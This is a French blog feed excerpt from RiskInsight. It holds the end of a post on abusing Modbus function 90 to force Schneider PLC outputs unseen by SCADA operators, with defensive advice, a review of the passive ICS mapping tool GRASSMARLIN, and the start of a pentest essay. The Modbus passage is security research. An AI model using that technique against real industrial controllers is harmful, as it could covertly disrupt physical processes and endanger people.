<div style="text-align: justify;"><span style="font-family: inherit;">Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"> </span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Le module Metasploit n&#8217;étant pas totalement finalisé, il n&#8217;a pas fait l&#8217;objet d&#8217;une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : <a href="https://github.com/wavestone-cdt/ics-tools">https://github.com/wavestone-cdt/ics-tools</a>.</span></div>
<p>&nbsp;</p>
<h2 style="text-align: justify;"><span style="font-family: inherit;">Conclusion et sécurisation</span></h2>
<div style="text-align: justify;"><span style="font-family: inherit;">Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Qu’en est-il ailleurs ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : <a href="http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/">http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/</a>.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Que faire ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l&#8217;insertion, dans la logique de l&#8217;automate, quelques fonctions visant à assurer la détection d&#8217;une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l&#8217;opérateur lorsque des valeurs sont forcées, mais cette capacité n&#8217;est, à notre connaissance, pas proposée par les automates étudiés.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"><br />
</span></p>
<div style="text-align: right;"><b>Arnaud SOULLIE</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels</title>
		<link>https://www.riskinsight-wavestone.com/en/2016/03/test-de-grassmarlin-outil-open-source/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Mon, 07 Mar 2016 09:00:41 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[open-source]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[SI industriel]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15683</guid>

					<description><![CDATA[<p>La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable. C’est à...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/03/test-de-grassmarlin-outil-open-source/">Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15684 media-15684" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15684 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1.png" alt="" width="640" height="332" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1-368x191.png 368w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-1-71x37.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p><i>La première étape dans un projet de sécurisation de son SI industriel est bien souvent la création, ou la fiabilisation, d’un inventaire de l’ensemble des composants. En effet, l’inventaire et la documentation existante peuvent s’avérer insuffisant ou non-fiable.</i><br />
<i>C’est à ce besoin que répond l’outil GRASSMARLIN en fournissant une solution de cartographie réseau passive adaptée au secteur industriel.</i></p>
<p>&nbsp;</p>
<h1>Présentation de GRASSMARLIN</h1>
<p>GRASSMARLIN est un outil permettant de cartographier de manière passive un réseau industriel. Cet outil, premièrement développé par la National Security Agency (NSA) des États-Unis est désormais Open-Source et directement accessible sur GitHub (<a href="https://github.com/iadgov/GRASSMARLIN">https://github.com/iadgov/GRASSMARLIN</a>).<br />
L’outil GRASSMARLIN permet d’obtenir une image ou « snapshot » du système d’information (SI) industriel avec notamment:</p>
<ul>
<li>Les équipements présents</li>
<li>Les communications existantes entre les équipements</li>
<li>Des méta-informations obtenues à partir des communications (localisation, constructeurs)</li>
</ul>
<p>L’outil est disponible sur la plateforme Windows (version 7+, 64bits uniquement), certaines distributions Linux (Fedora, Ubuntu) et est téléchargeable au lien suivant : <a href="https://github.com/iadgov/GRASSMARLIN/releases/latest">https://github.com/iadgov/GRASSMARLIN/releases/latest</a>.</p>
<p>Une perte de disponibilité d’un équipement du SI industriel pouvant avoir des conséquences importantes (arrêt de la production, perte de visibilité pour les opérateurs, …), la cartographie est entièrement passive. Les communications sont enregistrées puis analysées, contrairement à un scan actif avec nmap ou plcscan qui vont activement envoyer des paquets à destination de toutes les adresses IP et analyser les éventuels retours.</p>
<h1>Fonctionnement de Grassmarlin</h1>
<p>GRASSMARLIN permet d’obtenir deux types de topologies du réseau industriel :</p>
<ul>
<li>La « Logical View » : fournit une liste des équipements présents et des communications existantes, nommée par la suite la vue logique.</li>
<li>La « Physical View » : permet d’obtenir les liens physiques entre les équipements en donnant par exemple le numéro de port d’un routeur auquel un automate est connecté, nommée par la suite la vue physique.</li>
</ul>
<h2>La détection passive</h2>
<p>La méthode de découverte de réseau étant passive l’outil GRASSMARLIN ne génère aucun trafic sur le réseau. Ainsi afin d’obtenir des résultats de la vue logique ce dernier va simplement écouter les communications sur le réseau tel un analyseur de trame classique. En d’autres termes, GRASSMARLIN ne pourra analyser que les communications qu’il est en mesure d’écouter sur sa machine hôte.</p>
<figure id="post-15686 media-15686" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15686 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1.png" alt="" width="640" height="450" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1-272x191.png 272w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-1-55x39.png 55w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><u>Figure 1 : Visibilité de GRASSMARLIN</u></i></div>
<div style="text-align: center;"></div>
<p>Il est aussi possible d’obtenir une topologie réseau à partir de captures réseaux (fichiers PCAP) générées à des instants ultérieurs à d’autres points du réseau.<br />
De même, pour générer la vue physique GRASSMARLIN utilise des logs de routeur Cisco et reste donc totalement passif.</p>
<h3>Vue logique</h3>
<p>Dans cette vue, la topologie du réseau se présente comme suit :</p>
<figure id="post-15688 media-15688" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15688 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2.png" alt="" width="400" height="336" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2-227x191.png 227w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-2-46x39.png 46w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div style="text-align: center;"><i><u>Figure 2 : Vue logique avec 2 automates Siemens</u></i></div>
<div style="text-align: center;"><i><u> </u></i></div>
<div style="text-align: left;">Cette topologie est générée à partir d’une capture réseau de deux équipements industriels utilisant le protocole de communication industriel S7comm. Les fichiers PCAP peuvent être  retrouvés à cette adresse : <a href="https://wiki.wireshark.org/S7comm">https://wiki.wireshark.org/S7comm</a></div>
<p>La carte principale à droite permet de donner les équipements présents, identifiés par leur adresse IP, ainsi que les communications existantes entre les équipements et les sous-réseaux IP.<br />
Par ailleurs, GRASSMARLIN reconnait à l’aide de signatures les protocoles et équipements industriels :</p>
<figure id="post-15690 media-15690" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-15692 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1.png" alt="" width="640" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1-437x143.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-1-71x23.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<div style="text-align: center;"><i><u>Figure 3 : Vue logique et détails fournis par GRASSMARLIN</u></i></div>
<div style="text-align: center;"></div>
<p>Dans le cas présent, le protocole utilisé est bien reconnu comme S7comm. Le rôle des équipements dans les communications est aussi informé : le master (ou maître) donne les consignes lorsque le slave (ou esclave) exécute les commandes. Le Vendor Name (nom du constructeur) est donné et permet aux gestionnaires de parcs industriels de pouvoir se repérer plus aisément. Enfin, dans le cas où les adresses IP sont publiques (ce qui n’est pas le cas ici) le pays d’origine de l’équipement est informé.<br />
Ces informations sont générées suite à la confrontation des captures réseaux avec les signatures connues par GRASSMARLIN, l’attribut Confidence (confiance) échelonné de 1 (non confiant) à 5 (confiant) informe alors sur le degré de véracité des informations données.<br />
GRASSMARLIN fournit aussi une vision textuelle de la carte à l’aide d’un arbre de connections (présent à gauche sur la figure 2) renseignant les équipements par sous-réseaux.<br />
Il est aussi possible d’isoler les communications liées à un équipement en particulier et d’obtenir des premiers éléments d’analyses tels que : la taille des paquets échangés, l’instant t de l’échange, l’origine du paquet (si plusieurs fichiers PCAP’s sont utilisés) :</p>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter wp-image-15694 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1.png" alt="" width="320" height="198" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1-309x191.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-1-63x39.png 63w" sizes="auto, (max-width: 320px) 100vw, 320px" /></div>
<div style="text-align: center;"><i><u>Figure 4 : Fenêtre d’analyse des communications d’un automate</u></i></div>
<div style="text-align: center;"></div>
<h3>Signatures protocolaires</h3>
<p>GRASSMARLIN embarque des signatures permettant de reconnaitre les protocoles utilisés sur la vue logique.<br />
Chaque signature peut être composée de deux types d’élément :</p>
<ul>
<li>L’élément Filter (ou filtre) qui décrit un attribut à détecter.</li>
<li>L’élément Payload (ou charge utile) qui permet de retourner des informations à l’utilisateur.</li>
</ul>
<p>Une signature peut contenir plusieurs Filter et chaque Payload fait référence à un Filter :</p>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: center;">
<figure id="post-15696 media-15696" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15696 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1.png" alt="" width="320" height="289" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1-211x191.png 211w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-1-43x39.png 43w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<p><i><u>Figure 5 : Exemple de signature MODBUS</u></i></p>
</div>
<div style="text-align: center;"></div>
<p>Les Filter permettent essentiellement de décrire des attributs protocolaires des couches 2 à 4 du modèle OSI. Voici une liste des Filter actuellement disponibles :</p>
<figure id="post-15698 media-15698" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15698 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.png" alt="" width="400" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8-71x32.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div style="text-align: center;"><i><u>Tableau 1 : Ensemble des filtres possibles</u></i></div>
<div style="text-align: center;"></div>
<p>Les Payload quant à eux permettent de rajouter une description à un élément réseau, d’extraire des valeurs d’un paquet ou encore d’afficher une information en fonction de la présence d’un motif dans un paquet.<br />
La version actuelle de GRASSMARLIN (v3) compte 54 signatures couvrant les protocoles industriels couramment utilisés. Du fait du récent passage de l’outil en open-source (28/01/16) il est probable que la bibliothèque de signature s’enrichisse avec les années à venir.<br />
Les signatures sont éditées sous le format XML néanmoins un outil graphique est proposé – FingerPrint Editor &#8211; afin de permettre une création plus aisée de signatures :</p>
<figure id="post-15700 media-15700" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15700 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1.png" alt="" width="400" height="308" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-248x191.png 248w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-1-155x120.png 155w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div style="text-align: center;"><i><u>Figure 6 : Fingerprint Editor, outil graphique d’édition de signatures</u></i></div>
<div style="text-align: center;"></div>
<h3>Vue physique</h3>
<p>La topologie physique permet d’obtenir les connexions physiques existantes entre les équipements.</p>
<figure id="post-15702 media-15702" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15702 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1.png" alt="" width="640" height="330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1-370x191.png 370w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-1-71x37.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><u>Figure 7 : Vue physique</u></i></div>
<div style="text-align: center;"></div>
<p>Ces vues, plus orientées connectivité réseau, permettent d’obtenir les liaisons physiques existantes entre les équipements industriels et leurs connexions aux équipements réseaux.<br />
À ce jour seul les routeurs Cisco sont supportés et les vues sont générées à partir des résultats des 3 commandes suivantes :</p>
<ul>
<li>“show running-config”</li>
<li>“show ip arp” (OU) “show mac address-table”</li>
<li>“show interfaces”</li>
</ul>
<p>Une fois la sortie de ces commandes enregistrée dans un fichier texte, GRASSMARLIN est en mesure de générer à partir de ce dernier la vue physique.</p>
<h3>Partage de données</h3>
<p>L’exportation des données est gérée par GRASSMARLIN avec 3 types d’export</p>
<ul>
<li>L’exportation des vues sous format d’images (PNG).</li>
<li>L’exportation des données sous format XML :
<ul>
<li>Enregistre l’ensemble de l’arbre de connexion de la vue logique.</li>
<li>Ces données peuvent être utilisées comme des données de session lors de prochaine importation.</li>
</ul>
</li>
<li>L’exportation des données en partage : création d’une archive avec les données sous format XML et les fichiers de captures réseaux générés.</li>
</ul>
<h2>Tests sur banc d’essai</h2>
<p>Des tests sur une des maquettes SI industriel de Solucom ont été réalisés afin de confronter l’outil à un cas d’utilisation concret avec de réels équipements industriels.</p>
<h3>Présentation banc d’essai</h3>
<p>Le banc d’essai simule un aiguillage de train et est composé de :</p>
<ul>
<li>1 interface homme/machine (IHM) Siemens ;</li>
<li>1 automate Siemens ;</li>
<li>2 automates Schneider ;</li>
<li>1 switch manageable.</li>
</ul>
<figure id="post-15704 media-15704" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15704 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.jpg" alt="" width="320" height="239" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11-256x191.jpg 256w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11-52x39.jpg 52w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 8 : Photo du banc d’essai</u></i></div>
<div style="text-align: center;"></div>
<p>Un poste de travail disposant de Grassmarlin est directement connecté à un port en mirroring sur le switch et accède donc à l’ensemble des communications de la maquette. Par ailleurs, aucun équipement Cisco n’étant présent sur la maquette seule la vue logique a été testée.</p>
<h3>Réalisation des tests</h3>
<p>Suite à une capture en temps réel des trames, GRASSMARLIN a pu générer la vue logique suivante :</p>
<figure id="post-15706 media-15706" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15706 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1.png" alt="" width="320" height="281" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-1-44x39.png 44w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><u>Figure 9 : Vue logique de la maquette</u></i></div>
<div style="text-align: center;"></div>
<div style="text-align: left;">Et, après réorganisation (manuelle) de la vue nous obtenons la vue suivante :</div>
<p>&nbsp;</p>
<figure id="post-15708 media-15708" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15708 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-1.png" alt="" width="320" height="169" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-1-71x37.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 10 : Vue logique de la maquette réordonnée</u></i></div>
<div style="text-align: center;"></div>
<p>Le temps d’apparition des équipements sur la carte est quasi-instantané dès réception des flux. GRASSMARLIN identifie bien l’ensemble des équipements présents tout en donnant les protocoles de communications utilisés.<br />
De même, un fichier XML de sortie est correctement généré à partir des fonctions d’export. Ce dernier résume l’ensemble des informations extraites par GRASSMARLIN et permet de réutiliser les données plus facilement :</p>
<p>&nbsp;</p>
<figure id="post-15710 media-15710" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15710 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1.png" alt="" width="640" height="406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-1-61x39.png 61w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><u>Figure 11 : Fichier de sortie XML</u></i></div>
<div style="text-align: center;"></div>
<p>Cependant, certaines limitations ont pu être observées :</p>
<ul>
<li>La non-concurrence des signatures<br />
Si un équipement répond à plusieurs signatures alors seule une signature est détectée. Ceci peut notamment poser problème dans le cas d’une IHM qui communique potentiellement avec différents automates en utilisant plusieurs protocoles de communication.</li>
<li>Le manque de verbosité de certaines signatures<br />
Les signatures comportent des champs descriptions dans leur Payload permettant de décrire au mieux le rôle de l’équipement identifié. Il est possible que ces champs soient laissés initialement vides ou peu renseignés ce qui peut compliquer la tâche d’identification.</li>
<li>Une analyse des échanges peu aboutie<br />
GRASSMARLIN ne fournit actuellement que les premiers éléments d’analyse sur les communications : tailles des paquets, instants d’envois. Dans les pistes d’améliorations de sa fonction d’analyse nous pourrions par exemple citer l’implémentation d’une fonction de reconnaissance de cycles dans les échanges entre IHM et automates.</li>
</ul>
<h2>Conclusion</h2>
<p>D’autres outils de détection passive de topologie sont disponibles sur le marché. Cependant GRASSMARLIN est actuellement l’un des rares, si ce n’est l’unique, à être destiné au SI industriels et à être Open-Source.<br />
En comparaison un autre outil nommé <a href="http://www.netresec.com/?page=NetworkMiner" target="_blank" rel="noopener">NetworkMiner</a> permet aussi de réaliser des topologies de réseaux en utilisant les signatures d’autres outils dont notamment : <a href="https://nmap.org/" target="_blank" rel="noopener">nmap</a>, <a href="http://lcamtuf.coredump.cx/p0f3/" target="_blank" rel="noopener">p0f</a> et <a href="https://ettercap.github.io/ettercap/" target="_blank" rel="noopener">Ettercap</a> . Néanmoins, ce dernier n’embarque pas à l’installation de signatures destinées aux protocoles industriels et n’est donc pas aussi précis que GRASSMARLIN.</p>
<figure id="post-15712 media-15712" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15712 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1.png" alt="" width="320" height="268" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1-228x191.png 228w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-1-47x39.png 47w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 12 : Sortie de l’outil NetworkMiner pour 2 automates Siemens</u></i></div>
<div style="text-align: center;"></div>
<p>&nbsp;</p>
<figure id="post-15714 media-15714" class="align-none"><img loading="lazy" decoding="async" class="wp-image-15714 size-full aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1.png" alt="" width="320" height="287" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1-213x191.png 213w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-1-43x39.png 43w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div style="text-align: center;"><i><u>Figure 13 : Autre exemple – utilisation de l’outil p0f avec 2 automates Siemens</u></i></div>
<div style="text-align: center;"></div>
<div></div>
<figure id="post-15716 media-15716" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15716 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1.png" alt="" width="640" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1-437x143.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-1-71x23.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><u>Figure 14 : Sortie de GRASSMARLIN avec 2 automates Siemens</u></i></div>
<div style="text-align: center;"></div>
<p>Citons également la solution commerciale de Sentryo, dédiée elle aux SI industriels. Cette solution ne se contente pas de créer une cartographie à l’instant t, mais permet également d’alerter sur toutes variations par rapports aux communications habituelles, et ainsi de détecter des événements de sécurité. Lors de la démonstration à laquelle nous avons assistée, le niveau de détail fourni sur les automates (Schneider et Siemens à minima) était bien supérieur à celui qu’on peut actuellement obtenir avec Grassmarlin (marque, modèle, composants de l’automate et version du firmware par exemple).</p>
<figure id="post-15718 media-15718" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15718 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1.png" alt="" width="640" height="240" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-1-71x27.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: center;"><i><u>Figure 15 : Extrait d’une cartographie générée par Sentryo (<a href="https://www.sentryo.net/how-to-start-your-ics-cybersecurity-project/">https://www.sentryo.net/how-to-start-your-ics-cybersecurity-project/</a>)</u></i></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/03/test-de-grassmarlin-outil-open-source/">Test de Grassmarlin, outil open-source de cartographie passive pour SI industriels</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Le fardeau du pentesteur</title>
		<link>https://www.riskinsight-wavestone.com/en/2015/03/le-fardeau-du-pentesteur/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Mon, 23 Mar 2015 13:41:45 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[pentesteur]]></category>
		<category><![CDATA[test d'intrusion]]></category>
		<category><![CDATA[vulnérabilités]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15499</guid>

					<description><![CDATA[<p>La sécurité informatique a fait du chemin ces dernières années. Désormais, toute entreprise de taille respectable dispose de sa politique de sécurité des systèmes d’information. Des sessions de sensibilisation des utilisateurs à la sécurité sont réalisées. Une gouvernance sécurité s’est...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2015/03/le-fardeau-du-pentesteur/">Le fardeau du pentesteur</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div style="margin: 0cm 0cm 10.0pt 0cm;">
<div class="visually-hidden" style="text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="http://3.bp.blogspot.com/-NjLVhBfmbGA/VRBVoMyJu8I/AAAAAAAAAAs/8gCWgLP6Xf4/s1600/%C2%A9%2BAndrea%2BDanti%2B-%2BFotolia.com.jpg"><img loading="lazy" decoding="async" src="http://3.bp.blogspot.com/-NjLVhBfmbGA/VRBVoMyJu8I/AAAAAAAAAAs/8gCWgLP6Xf4/s1600/%C2%A9%2BAndrea%2BDanti%2B-%2BFotolia.com.jpg" width="320" height="240" border="0" /></a></div>
